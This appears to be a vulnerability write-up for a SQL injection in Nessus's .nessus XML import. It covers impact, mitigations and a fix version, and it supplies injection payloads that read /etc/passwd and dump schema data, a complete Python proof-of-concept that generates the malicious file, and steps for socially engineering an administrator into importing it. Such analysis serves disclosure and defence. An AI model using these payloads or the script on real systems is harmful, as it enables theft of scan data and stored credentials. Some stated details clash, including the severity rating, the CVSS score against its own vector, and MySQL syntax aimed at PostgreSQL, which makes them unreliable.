CVE-2026-57588: Analyzing the Nessus XML Import SQL Injection Vulnerability

Vulnerability Overview

CVE-2026-57588 is a high‑severity SQL injection vulnerability in Tenable Nessus 10.12.0 and earlier (official advisory TNS‑2026‑17). Nessus parses imported .nessus XML scan result files without sufficient input validation or parameterized queries. When a privileged user imports a crafted file, the injected SQL executes on the backend PostgreSQL database, allowing data exfiltration.

Rating and Impact

CVSS 3.1 score 4.3 (Medium) with vector AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N. Affected versions are Nessus 10.12.0 and lower; the issue is fixed in Nessus 10.12.1. Successful exploitation can lead to full theft of scan data, including target IPs, open ports, vulnerability details, and credential information stored in the database.

Technical Analysis

Attack Vector

Nessus allows import of .nessus XML files. The import module concatenates XML tag contents directly into SQL statements without using prepared statements, creating an injection surface.

Key injection points demonstrated in the PoC:

HostProperties tag injection

<tag name="hostname">poc-target.example.com' UNION SELECT NULL, current_database(), version(), user() -- </tag>
<tag name="fqdn">test' ; SELECT pg_read_file('/etc/passwd') -- </tag>

ReportItem plugin_output injection

<plugin_output>
' UNION ALL SELECT
 '=== DATA EXFIL START ===',
 table_name,
 column_name,
 '=== DATA EXFIL END ==='
FROM information_schema.columns
WHERE table_schema = current_schema() --
</plugin_output>

Time‑Based Blind Injection

The PoC includes a time‑based blind injection test that triggers pg_sleep(5), causing the HTTP response to delay about five seconds when the injection succeeds.

<tag name="os">Linux' AND (SELECT pg_sleep(5))=0 -- </tag>

Prerequisites and Difficulty

Exploitation requires socially engineering a Nessus administrator to import the malicious file. The attack does not provide remote code execution; success depends on user interaction. Once imported, the attacker can retrieve extensive data such as scanned IPs, open ports, vulnerability details, and potentially embedded credentials.

Mitigation and Remediation

Official Fix

Tenable released a fix in Nessus 10.12.1. Upgrading to this version removes the injection path.

Temporary Mitigations

Do not import .nessus files from untrusted sources; review them in an isolated environment first.

Restrict access to the Nessus web management interface to a minimal set of trusted users.

Apply network‑level restrictions so that only authorized IP ranges can reach the import functionality.

Proof‑of‑Concept Code

The following Python script generates a malicious .nessus file containing the injection payloads. It uses xml.etree.ElementTree to construct the XML structure.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-57588 - Nessus XML Import SQL Injection PoC
Author: Mohammed Idrees Banyamer (@banyamer_security)
Affected: Nessus <= 10.12.0
Fixed in: Nessus 10.12.1
"""
import argparse
import xml.etree.ElementTree as ET

def create_malicious_nessus(output_file):
    root = ET.Element("NessusClientData_v2")
    report = ET.SubElement(root, "Report")
    report.set("name", "PoC - CVE-2026-57588")
    host = ET.SubElement(report, "ReportHost")
    host.set("name", "poc-target.example.com")
    host_properties = ET.SubElement(host, "HostProperties")
    tags = [
        ("hostname", "evil-host' UNION SELECT NULL, current_database(), version(), user() -- "),
        ("os", "Linux' AND (SELECT pg_sleep(5))=0 -- "),
        ("ip", "192.168.1.1' OR '1'='1"),
        ("fqdn", "test' ; SELECT pg_read_file('/etc/passwd') -- "),
    ]
    for name, value in tags:
        tag = ET.SubElement(host_properties, "tag")
        tag.set("name", name)
        tag.text = value
    item = ET.SubElement(host, "ReportItem")
    ET.SubElement(item, "pluginID").text = "999999"
    ET.SubElement(item, "pluginName").text = "CVE-2026-57588 PoC"
    ET.SubElement(item, "port").text = "0"
    ET.SubElement(item, "protocol").text = "tcp"
    ET.SubElement(item, "severity").text = "0"
    ET.SubElement(item, "description").text = "Proof of Concept for SQL Injection"
    plugin_output = ET.SubElement(item, "plugin_output")
    plugin_output.text = """Normal output
' UNION ALL SELECT
 '=== DATA EXFIL START ===',
 table_name,
 column_name,
 '=== DATA EXFIL END ==='
FROM information_schema.columns
WHERE table_schema = current_schema() -- """
    tree = ET.ElementTree(root)
    with open(output_file, "wb") as f:
        tree.write(f, encoding="utf-8", xml_declaration=True)

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-57588 Nessus SQLi PoC")
    parser.add_argument("-o", "--output", default="cve-2026-57588-poc.nessus",
                        help="Output filename")
    args = parser.parse_args()
    create_malicious_nessus(args.output)

if __name__ == "__main__":
    main()

Usage

# Generate malicious .nessus file
python3 exploit.py -o malicious.nessus

# Specify a custom output name
python3 exploit.py --output poc.nessus

Exploitation Steps

Generate the malicious .nessus file with the PoC script.

Socially engineer a Nessus administrator to import the file via the web UI.

The import triggers execution of the injected SQL on the PostgreSQL backend.

Attacker retrieves sensitive data through query results or observes the time‑delay from the blind injection.

Conclusion

The flaw demonstrates that classic SQL injection bugs can exist in mature products like Nessus. Remediation requires upgrading to Nessus 10.12.1 or later and applying the temporary mitigations while the upgrade is performed.